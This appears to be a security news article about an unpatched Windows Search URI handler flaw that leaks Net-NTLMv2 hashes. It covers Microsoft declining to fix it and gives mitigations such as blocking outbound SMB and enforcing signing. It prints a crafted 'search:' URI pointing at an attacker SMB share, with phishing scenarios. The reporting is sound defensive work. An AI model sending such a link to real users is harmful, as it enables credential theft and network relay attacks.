# Windows Search URI Handler Exposes NTLMv2 Hashes—Microsoft Declines to Patch


Microsoft has declined to patch an unpatched vulnerability in Windows Search's URI handler that allows attackers to steal NTLMv2 password hashes through a specially crafted link, according to researchers at Huntress. The vulnerability mirrors a previously patched flaw in the Windows Snipping Tool and could enable relay attacks that compromise entire networks.


## The Threat


Security researchers have identified a critical authentication vulnerability in Windows Search's URI handler that exposes users' NTLMv2 hashes to remote attackers. By tricking a user into clicking a malicious link embedded in a web page or email, an attacker can force the victim's computer to authenticate with an attacker-controlled SMB (Server Message Block) server, disclosing the Net-NTLMv2 hash in the process.


Unlike typical password hashes that require brute-force cracking, NTLMv2 hashes can be immediately weaponized through relay attacks—a technique that uses the captured hash to impersonate the victim on internal network resources without needing the actual password.


Key characteristics of this vulnerability:


  • Attack vector: Malicious URI containing search:query=test&crumb=location:\\[attacker IP]\share
  • User interaction required: Victim must click the link and approve the URI handler execution
  • No patch available: Microsoft explicitly declined to address the issue
  • Scope: Affects all versions of Windows with unpatched Search functionality
  • Severity rating: Moderate (per Microsoft's CVE scoring system)

    • ## Background and Context


    This discovery represents a troubling pattern in Windows URI handler security. In April 2026, Microsoft patched a nearly identical vulnerability (CVE-2026-33829) affecting the Windows Snipping Tool's ms-screensketch: URI handler. That vulnerability allowed attackers to exploit an unvalidated filePath parameter to force connections to arbitrary UNC (Universal Naming Convention) paths and steal NTLM credentials.


    The newly discovered vulnerability uses the same attack mechanism but targets Windows Search's search: handler instead. According to Huntress researcher Andrew Schwartz, the two vulnerabilities share striking similarities:


  • Same NTLM leakage mechanism
  • Identical Net-NTLMv2 hash disclosure
  • Same prerequisites for exploitation
  • Matching Moderate severity rating

    • The use of crumb parameters for credential theft was previously documented by Varonis researchers in February 2024 (CVE-2023-35636), suggesting that Microsoft's URI handler developers may not have implemented consistent validation practices across different handlers.


    Most concerning: Microsoft's April 2026 patch for CVE-2026-33829 did not comprehensively address similar vulnerabilities in other URI handlers, leaving a class of vulnerabilities unresolved across the Windows ecosystem.


    ## Technical Details


    ### How the Attack Works


    The attack exploits a fundamental design flaw in how Windows URI handlers validate and process parameters:


    1. Attacker crafts a malicious URI containing a network path pointing to their SMB server:

    ```

    search:query=test&crumb=location:\\10.0.1.100\share

    ```


    2. Victim clicks the link in a browser, email, or chat application


    3. Windows Search handler processes the URI and attempts to access the specified network location


    4. NTLM authentication is triggered as the Windows system attempts to authenticate with the attacker's SMB server


    5. NTLMv2 hash is captured by the attacker's server during the authentication handshake


    6. Captured hash enables relay attacks without requiring the plaintext password or cracking


    ### Why This Matters Technically


    NTLM hashes occupy a unique position in Windows security. Unlike modern password hashing algorithms, NTLM hashes can be replayed or relayed to other services. An attacker with a captured NTLMv2 hash can:


  • Relay the hash to internal services (SMB shares, HTTP services, printers) if SMB signing isn't enforced
  • Authenticate as the victim without ever knowing the actual password
  • Move laterally through the network using the victim's credentials
  • Escalate privileges if the compromised account has administrative access

    • The vulnerability is particularly dangerous because it requires no technical sophistication on the victim's part—only a click, which is a social engineering vector with proven effectiveness.


    ## Implications for Organizations


    ### Who's Affected


    Any organization using Windows systems is potentially vulnerable to this attack. The vulnerability is particularly concerning for:


  • Enterprise environments with mixed authentication systems relying on NTLM or NTLM fallback
  • Organizations with legacy systems that haven't migrated to Kerberos authentication
  • Remote workers using Windows devices that may connect to public networks with reduced trust
  • Industries with high-value targets for credential theft (finance, healthcare, government)

    • ### Attack Scenarios


    Scenario 1: Targeted phishing

    An attacker sends an email to a senior executive with a link disguised as a document review request. Clicking the link steals the executive's NTLMv2 hash, enabling lateral movement through the company network.


    Scenario 2: Supply chain compromise

    An attacker compromises a vendor's website and injects malicious URIs into product documentation. Visitors downloading the documentation unwittingly expose their credentials.


    Scenario 3: Internal threat leveraging compromised account

    An insider with network access uses the vulnerability to compromise high-value accounts without raising suspicion, appearing as legitimate internal authentication.


    ## Mitigation Strategies


    Given Microsoft's refusal to patch this vulnerability, organizations must implement defensive measures:


    ### Immediate Actions


    | Control | Benefit | Effort |

    |---------|---------|--------|

    | Block outbound SMB (TCP/445, TCP/139) | Prevents hash transmission to attacker servers | Low |

    | Enforce SMB signing | Prevents captured hashes from being relayed | Medium |

    | Disable NTLM authentication | Eliminates the vulnerability class entirely | High |

    | User awareness training | Reduces click-through rates on malicious links | Medium |


    ### Network-Level Protections


  • Implement strict egress filtering to block SMB traffic from client workstations to external networks
  • Deploy network segmentation to isolate sensitive services from workstations
  • Configure SMB signing requirements on all internal servers (Group Policy: Digitally sign communications)
  • Use extended Protection for Authentication (EPA) on internal services to prevent relay attacks

    • ### Endpoint-Level Protections


  • Disable NTLM entirely if Kerberos is available (Group Policy: Network security: Restrict NTLM)
  • Implement conditional access policies that flag authentication from unusual locations
  • Deploy endpoint detection and response (EDR) tools to identify credential dumping attempts
  • Configure Windows Defender for Exploit Guard to monitor for suspicious SMB connections

    • ### Long-Term Strategy


    Organizations should prioritize migration away from NTLM to Kerberos or modern authentication protocols. NTLM's relay vulnerability is a known, fundamental architectural flaw—not a new discovery. Continuing to rely on NTLM in 2026 represents significant risk.


    ---


    ## HackWire Analysis


    Microsoft's decision to decline patching this vulnerability signals a troubling shift in the company's vulnerability management philosophy. By claiming the vulnerability doesn't meet the "Important or Critical" severity threshold, Microsoft is effectively declaring that credential exposure through social engineering is acceptable risk.


    This represents a departure from security best practices. A vulnerability that requires user interaction but enables network compromise has historically been treated seriously across the industry. The fact that this vulnerability mirrors a patched flaw in a different Windows component suggests Microsoft's URI handler validation isn't comprehensive—and it raises questions about how many similar vulnerabilities exist elsewhere in the codebase.


    The pattern is particularly concerning: Microsoft patched CVE-2026-33829 in the Snipping Tool, but the fix apparently didn't extend to other URI handlers. This suggests either inadequate code review across components or insufficient coordination between security teams. Either way, customers are left managing risk that should be Microsoft's responsibility.


    For defenders, the message is clear: assume NTLM-based credential exposure will remain a Windows reality. Organizations can't wait for a patch that may never come. The mitigation strategies outlined above should be treated as essential, not optional. Those still relying on NTLM in mixed-OS environments should treat it as a legacy authentication protocol and actively plan its deprecation.


    The broader lesson: when a vendor declines to patch an actively exploitable vulnerability, assume it will remain exploitable indefinitely and build your security architecture accordingly. — HackWire Editorial


    ---


    ## Related Coverage


  • Read more in our [Vulnerabilities](https://www.hackwire.news/category/vulnerabilities) coverage
  • Cross-reference with [Breaches](https://www.hackwire.news/category/breaches) and [Malware](https://www.hackwire.news/category/malware)
  • Stay current via the [HackWire homepage](https://www.hackwire.news/)